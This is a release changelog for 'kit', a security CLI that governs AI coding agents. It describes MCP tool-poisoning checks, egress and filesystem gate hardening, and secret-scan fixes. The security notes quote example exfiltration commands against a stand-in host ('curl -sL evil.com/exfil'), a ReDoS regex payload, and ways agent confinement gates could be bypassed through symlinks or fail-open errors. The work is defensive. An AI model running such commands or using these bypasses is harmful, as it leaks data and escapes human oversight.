kit 5.4.1
Note: 5.3.0 and 5.4.0 were prepared but never tagged or published to npm — their
changes ship inside 5.4.1. Their changelog sections are included below for completeness.
Security
- Lockfile bump to clear a newly-published high transitive advisory in
fast-uri
(host confusion via failed IDN canonicalization / literal backslash authority delimiter —
GHSA-4c8g-83qw-93j6, GHSA-v2hh-gcrm-f6hx) via a non-forcingnpm audit fix. No source
changes; identical CLI surface to 5.4.0. (5.4.0's publish was blocked by the publish gate's
npm audit --audit-level=highstep when the advisory landed; this is the audit-clean
re-release.)
[5.4.0] - 2026-07-21
Added
-
kit triage mcp— MCP-Security-Checklist static checks (borrowed from SlowMist/OWASP MCP
Top 10). Beyond tool-poisoning (R7) and rug-pull drift, triage now surfaces four deterministic,
static review signals: dangerous-capability (a tool name/description implying arbitrary
exec/deletion — confirm least-privilege + human approval), secret-as-parameter (a param
shaped like a credential — inject at the boundary, MCP01), undocumented (a tool with no
description — can't be triaged), and unconstrained-input (additionalProperties: true).
All heuristic-confidence and advisory — they surface for review but never flip the pass/fail
verdict, which stays gated on high-confidence poisoning + drift (no false-block).checklistFindings
is exported + unit-tested; pure and deterministic. -
kit memory export --obsidian <dir>— the curated shared tier as an Obsidian vault (J3).
Renders each shared decision/convention as an Obsidian note (YAML frontmatter with
id/area/kind/status/provenance +kit/*tags, an H1 title, body, refs) grouped underarea/,
with[[wikilinks]]for supersede/reverse relations and a per-area_index.mdMOC. Pure,
deterministic renderer (renderObsidianVault);--jsonemits a dry-run manifest (paths +
bytes, no writes); write errors fail closed (never a partial-export "success"). Read-only over
already-secret-scanned entries, so the export never re-introduces a secret. -
kit memory search --brief— progressive-disclosure recall (B3). Returns the minimal
sufficient slice of a recall — top-ranked hits trimmed to budget-bounded snippets — and reports
how many were withheld so you can expand (--limit/ drop--brief), instead of dumping
every match into context. Never silently truncates: the withheld count is explicit (same
discipline askit map's logged drops), and the first hit is always disclosed. Pure core
progressiveDisclose(deterministic; default 1200-char budget / 240-char snippets / 8 hits),
unit-tested;--jsoncarries the structureddisclosure. -
kit memoryrule aging — surface stale machine-origin rules for review, never auto-drop (B2).
Curated shared-tier rules now carry a deterministic aging class: onlyderived/inferred
active rules age (fresh < 180d ≤ aging < 360d ≤ stale); an operator's explicit rule is
foundational and never ages (the human owns its relevance), and superseded/reversed entries are
history.kit memory areasprints an aging nudge when machine-origin rules go stale;kit memory area <name>badges each entry and takes--staleto show only aged-out rules for review (JSON
carries theagingfield). kit never deletes — it flags for re-affirm/supersede. Pure core
(classifyAging/agingReport), unit-tested; deterministic, zero-LLM. -
kit scandelegate library — connect what kit shouldn't rebuild, toggleable. The external
scanner registry (snyk/trivy/grype/semgrep/osv-scanner/socket) is now a toggleable delegate
library, mirroring the coverage-standards registry:kit scan --list-delegatesenumerates it
with on/off state, and[scan].delegatesin.kit.tomlis an allow-list that picks which
scanners run (absent/empty ⇒ all on, backwards-compatible). The principle it encodes: kit
delegates detection to best-of-breed tools, never its verdict — findings still merge into
one deterministic, fail-closed result.enabledScanners/isScannerEnabled/SCANNER_IDS
are exported + unit-tested. -
kit coverage— agent-native standards + a toggleable standards library. Coverage
evidence maps are now a registry (single source of truth) instead of a hardcoded pair, and
two standards native to kit's own lane land as the first new entries: OWASP Top 10 for Agentic
Applications (2026) (--standard=agentic-top10) and OWASP MCP Top 10 (2025)
(--standard=mcp-top10).--standard=allruns every enabled standard;--list-standards
enumerates the library with on/off state; and[coverage].standardsin.kit.tomlis an
allow-list that toggles standards on and off (absent ⇒ all on, backwards-compatible). Adding a
future standard is one registry entry + its descriptor. Still an evidence map, never a
compliance attestation; deterministic and zero-LLM. The two new maps are honest about kit's
lane — strong on tool-misuse / identity+privilege / supply-chain / memory-poisoning / audit,
explicitgap/naon inter-agent comms, cascading failures, human-trust, and rogue-agent
detection. (Control ids/titles confirmed via secondary indexes; owasp.org first-party fetch was
HTTP-403 blocked — caveat carried on each descriptor.)
[5.3.0] - 2026-07-19
Added
-
kit broker enforce— the guided observe→enforce flip (Pillar 3 capstone). Turns the
exec-broker from observational to protective in one evidence-gated command. It runs the
enforce-readinesspre-flight and refuses without--forceunless the verdict isready
(fail-closed — it will not silently enable a posture the observed evidence says would break, or
one with no evidence at all), then sets[scope].enforce_runtime = true, re-signs the
profile scope (so the flip is attributable — enforce only takes effect under a valid signature),
and audits the transition (phase: "enforce-enabled"). On a sign failure it surfaces that the
scope won't verify until re-signed (never a silent half-enabled state). Completes the
observe→enforce ladder:enforce-readiness(E1/E2) tells you it's safe;enforcedoes it.
Deterministic, zero-LLM.--jsonfor machines.kit doctor's exec-broker-runtime row now
gives an evidence-based nudge: in observe with a clean window it points tokit broker enforce; with would-be denials it points tokit broker enforce-readinessto see them first. -
kit memory search --fresh— recency-aware recall (deterministic, zero-LLM). By default
recall is bm25 relevance-first (unchanged).--freshfetches a larger candidate pool and
RRF-fuses two incommensurable signals — bm25 relevance and recency — by rank (no score
normalization), so a fresh, still-relevant hit can outrank a marginally-more-relevant stale
one ("when relevance is otherwise equal, the newer answer wins"). Relevance still dominates;
recency breaks the lower ranks. Exposes a reusablefuseByRrfprimitive for future
multi-signal fusion. Borrowed from the Cerebras knowledge-base ranking stack, kept on-charter
(kit has one lexical retriever + recency; no embeddings, no reranker model). -
kit broker enforce-readiness— graduate observe→enforce on evidence, not nerve.
The exec-broker runtime ladder is off → observe → enforce, but the human step between the last
two had no evidence: an operator in observe (which watches but never denies) had no way to
answer "is it safe to flip to enforce?", so people stayed in observe forever and the
governance never actually protected. This command reads the recorded observe window
(.kit-audit.jsonl, thewouldDenyevents observe already writes) and reports a verdict:
ready(nothing observed would be denied),would-block(+ the exact would-be
denials, tallied — so you declare them in[scope]and re-sign, or accept them knowingly,
before flipping), or the honestuntested(no observe data — deliberately not a green
"ready"; coverage is only what was observed). Turns the flip from a leap into a diff.
--jsonfor machines;--gatefails CI on any not-readyverdict. Deterministic, zero-LLM,
reads the audit log only — never executes anything. (The guidedkit broker enforceflip is
a follow-up.) -
kit memory captures the full decision lifecycle — negative-space kinds + provenance.
The curated shared tier gains two kinds for the knowledge that evaporates hardest:
idea(considered / not-yet-built) andabandoned(tried and dropped, with the
reason).abandonedentries are re-surfaced on resume for the area you're touching — so
the next session sees "we tried X here and dropped it, because Y" before re-trying it.
Entries also carry optionalprovenance(operator|derived|inferred, absent ⇒
operator) andconfidence; recall now orders an operator's explicit statement above
a pattern kit merely derived, then by recency. Both fields are signature-covered and written
only when set, so existing entries stay byte-identical.kit memory sharegains
--provenance/--confidenceand now validates--kind(a typo no longer persists a
garbage kind). Deterministic, zero-LLM.
Security
-
Standards plugins reject ReDoS-prone regexes at load (class E — completes the bug sweep).
A declarative standards plugin'smatchwas compiled and run over every source line with no
protection against catastrophic backtracking, so a crafted plugin (match = '(a+)+$') could
hangkit checkindefinitely — a fail-open DoS via a PR-submitted TOML. A deterministic,
dependency-free detector (hasReDoSRisk) now flags the classic nested-unbounded-quantifier
shape ((a+)+,(\d*)*,((ab)+)+,(a{2,})+) and rejects such a plugin at load with an
integrity warning — it is never compiled into the per-line evaluator. Honest limit: it catches
the nested-quantifier class (the common, cited ReDoS), not every catastrophic regex; the
existing max-line-length cap remains as defense-in-depth. -
Secrets, audit, and scanner robustness (four bug-sweep findings, class F).
"manual"rotation policy no longer crashes the vault.storeSecret/rotateSecretdid
parseInt(rotation_policy), which isNaNfor the valid"manual"value →new Date(now + NaN).toISOString()threwRangeError(and inrotateSecret, after the key was already
rotated — leaving unaudited, inconsistent state). Day-based policies (30d/60d/90d) are
now matched explicitly;manual/neversimply leavenext_rotation_atunset.kit gha-auditno longer reports a false green over unreadable workflows. A workflow it
could not read (perms/EISDIR/TOCTOU) was silently skipped, then the run emitted "all actions
pinned" — a false pass for a supply-chain scanner. Unreadable workflows now surface a
scanner-healthwarnnaming them, and the blanket pass is suppressed.- Staged-secret pre-commit scan no longer falls back to a divergent working copy. On a
git show :filefailure (e.g. a staged blob over the buffer cap) it read the working copy —
which a developer can clean after staging the secret, the exact un-stage bypass the scan
exists to stop. The cap is raised so realistic files scan from the staged blob, and an
unreadable staged blob now fails closed (flagged) instead of trusting the working copy. kit audit secrets --since-daysNaN-guarded — a non-numeric value silently returned all
events (window ignored); it now falls back to 30.
-
Malformed input now yields a verdict, never an uncaught crash (fail-closed parsers). The
bug sweep found the historical "malformed file → uncaught throw → empty stdout" class had
reappeared in several spots, all now fixed:- a malformed/schema-invalid
.kit-profile.tomlcrashed everykit profilesubcommand
(show/check/sign/verify/freeze) with an uncaughtInvalidProfileErrorand empty
--jsonstdout — a denial-of-verdict for CI. The top-level handler now catches
KIT_INVALID_PROFILEexactly likeKIT_INVALID_CONFIG: a clean{ok:false,error}JSON +
exit 1. classifyGuardDogand the SARIF/OSV ingesters (parseSarif/parseOsv) dereferenced a
JSON.parseresult without a non-object guard, so a literalnull(valid JSON) threw a
TypeError— for GuardDog, crashing the wholekit check --category securityrun. They now
treat a null/non-object result as "unverified"/[]per their documented fail-closed contract.
- a malformed/schema-invalid
-
egress-gate now enforces scheme-less
curl/wgettargets. Network-target extraction
parsed only explicithttp(s)://URLs, socurl evil.com,wget evil.com/x, and
curl -sL evil.com/exfil— the most common egress forms — produced zero hosts and the signed
[scope].egressallowlist was not enforced for them (a fail-open the sweep flagged). A
second, still-conservative extraction pass now reads the positional argument ofcurl/wget
as a network target, skipping value-taking flags (-o out.txt,-H,-d @data.json, …) so
their arguments are never mistaken for hosts, and only accepting a strict dotted-domain shape
(zero false positives —localhost, bare words, and-o/-dvalues are not treated as
hosts). Implicit-registry tools (git/npm/pip), non-http schemes, and variable-expanded
URLs remain out of reach — command-string inspection is defense-in-depth, documented as such,
not a substitute for a network sandbox. -
exec-broker PreToolUse gates hardened to fail closed (three bypasses, found by an internal
bug sweep). The runtime enforcement point (kit gate-fs/kit gate-egress) and the CLI's
gate dispatch had gaps where an attacker or an internal fault could slip past confinement:- fs-gate was symlink-blind. It ran only the pure string-containment check and omitted the
symlink-aware realpath check the canonical exec-broker already uses, so a symlink inside the
signed[scope].fsroot pointing outside (e.g.data → /) let a write escape scope. The
gate now requires both checks per root — parity with the broker (the enforcement point
must never be weaker than the broker it mirrors). The realpath check now lives in a shared
exec-broker/realpath-check.tsso there is one source of truth. - A gate that threw failed OPEN. Deny is signalled by
exit 2; any thrown error fell
through to the genericexit 1(a non-blocking PreToolUse result), so an internal fault
(e.g. the working directory removed mid-run →process.cwd()throws) would silently ALLOW
the very operation the gate exists to mediate. Gate dispatch now runs fail-closed: any
handler fault DENIES (exit 2 / Cline{cancel:true}).
- fs-gate was symlink-blind. It ran only the pure string-containment check and omitted the
-
SkillSpector delegate now passes
--no-llmexplicitly (kit triage skill --deep).
kit ran SkillSpector's Stage-1 static scan only, suppressing the optional Stage-2 LLM pass
via env scrubbing alone (SKILLSPECTOR_PROVIDER=""+ stripped provider keys). It now also
passes the--no-llmflag in the argv itself — belt-and-suspenders, so a future
SkillSpector default or ambient config can never silently re-enable the model stage
(which would ship file contents to a provider, breaking kit's zero-LLM / no-egress
charter). The zero-LLM intent is now legible in the command line, not only the environment.
Full changelog: https://github.com/sandstream/kit/blob/v5.4.1/CHANGELOG.md
Verify this release:
git tag -v v5.4.1
npm audit signatures